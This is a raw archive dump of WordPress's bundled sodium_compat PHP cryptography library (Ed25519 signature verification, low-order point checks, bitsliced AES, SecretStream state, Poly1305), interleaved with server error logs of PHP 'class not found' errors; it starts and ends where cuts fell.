sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); $c = 0; $n = 1; $i = 32; /** @var array $L */ do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { /** @var array> $blocklist */ $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var int $countBlocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_complement($s) { $t_ = self::L . str_repeat("\x00", 32); sodium_increment($t_); $s_ = $s . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @return string * @throws SodiumException */ public static function scalar_random() { do { $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES); $r[self::SCALAR_BYTES - 1] = self::intToChr( self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f ); } while ( !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r) ); return $r; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_negate($s) { $t_ = self::L . str_repeat("\x00", 32) ; $s_ = $s . str_repeat("\x00", 32) ; ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function scalar_add($a, $b) { $a_ = $a . str_repeat("\x00", 32); $b_ = $b . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::add($a_, $b_); return self::sc_reduce($a_); } /** * @param string $x * @param string $y * @return string * @throws SodiumException */ public static function scalar_sub($x, $y) { $yn = self::scalar_negate($y); return self::scalar_add($x, $yn); } } PK+L[8ĤYYsrc/Core/AES/KeySchedule.phpnu[ $skey -- has size 120 */ protected $skey; /** @var bool $expanded */ protected $expanded = false; /** @var int $numRounds */ private $numRounds; /** * @param array $skey * @param int $numRounds */ public function __construct(array $skey, $numRounds = 10) { $this->skey = $skey; $this->numRounds = $numRounds; } /** * Get a value at an arbitrary index. Mostly used for unit testing. * * @param int $i * @return int */ public function get($i) { return $this->skey[$i]; } /** * @return int */ public function getNumRounds() { return $this->numRounds; } /** * @param int $offset * @return ParagonIE_Sodium_Core_AES_Block */ public function getRoundKey($offset) { return ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($this->skey, $offset, 8) ); } /** * Return an expanded key schedule * * @return ParagonIE_Sodium_Core_AES_Expanded */ public function expand() { $exp = new ParagonIE_Sodium_Core_AES_Expanded( array_fill(0, 120, 0), $this->numRounds ); $n = ($exp->numRounds + 1) << 2; for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) { $x = $y = $this->skey[$u]; $x &= 0x55555555; $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; $y &= 0xAAAAAAAA; $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $exp; } } PK+L[00src/Core/AES/Expanded.phpnu[ */ protected $values = array(); /** * @var int */ protected $size; /** * @param int $size */ public function __construct($size = 8) { parent::__construct($size); $this->size = $size; $this->values = array_fill(0, $size, 0); } /** * @return self */ public static function init() { return new self(8); } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * * @psalm-suppress MethodSignatureMismatch */ #[ReturnTypeWillChange] public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_AES_Block(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->values[] = $value; } else { $this->values[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->values[$offset])) { $this->values[$offset] = 0; } return (int) ($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { $out = array(); foreach ($this->values as $v) { $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT); } return array(implode(', ', $out)); /* return array(implode(', ', $this->values)); */ } /** * @param int $cl low bit mask * @param int $ch high bit mask * @param int $s shift * @param int $x index 1 * @param int $y index 2 * @return self */ public function swapN($cl, $ch, $s, $x, $y) { static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX; $a = $this->values[$x] & $u32mask; $b = $this->values[$y] & $u32mask; // (x) = (a & cl) | ((b & cl) << (s)); $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask); // (y) = ((a & ch) >> (s)) | (b & ch); $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch); return $this; } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap2($x, $y) { return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap4($x, $y) { return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap8($x, $y) { return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y); } /** * @return self */ public function orthogonalize() { return $this ->swap2(0, 1) ->swap2(2, 3) ->swap2(4, 5) ->swap2(6, 7) ->swap4(0, 2) ->swap4(1, 3) ->swap4(4, 6) ->swap4(5, 7) ->swap8(0, 4) ->swap8(1, 5) ->swap8(2, 6) ->swap8(3, 7); } /** * @return self */ public function shiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[$i] = ( ($x & 0x000000FF) | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6) | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4) | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2) ) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $this; } /** * @param int $x * @return int */ public static function rotr16($x) { return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16); } /** * @return self */ public function mixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0); $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1); $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2); $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3); $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4); $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5); $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6); $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7); return $this; } /** * @return self */ public function inverseMixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5); $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6); $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7); $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7); $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6); $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7); $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7); $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7); return $this; } /** * @return self */ public function inverseShiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i]; $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & ( ($x & 0x000000FF) | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6) | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4) | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2) ); } return $this; } } PK+L[Qץsrc/Core/AES/error_lognu[[18-May-2025 06:12:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [05-Jun-2025 01:08:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [17-Jun-2025 09:39:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [28-Jun-2025 09:09:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [11-Jul-2025 10:12:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 PK+L[=Psrc/Core/HChaCha20.phpnu[key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core_SecretStream_State( ParagonIE_Sodium_Core_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core_Util::load_4( ParagonIE_Sodium_Core_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } PK+L[Ӂ&&src/Core/Poly1305.phpnu[update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } PK+L[.jjsrc/Core/error_lognu[[18-May-2025 00:08:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [18-May-2025 01:12:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php on line 14 [18-May-2025 01:15:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [18-May-2025 01:15:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [18-May-2025 01:34:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [18-May-2025 01:37:00 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [18-May-2025 04:51:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [18-May-2025 06:04:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [18-May-2025 06:14:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [18-May-2025 06:23:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [18-May-2025 07:11:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [18-May-2025 07:11:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [18-May-2025 07:12:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [18-May-2025 09:41:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [18-May-2025 09:41:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [18-May-2025 10:02:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [04-Jun-2025 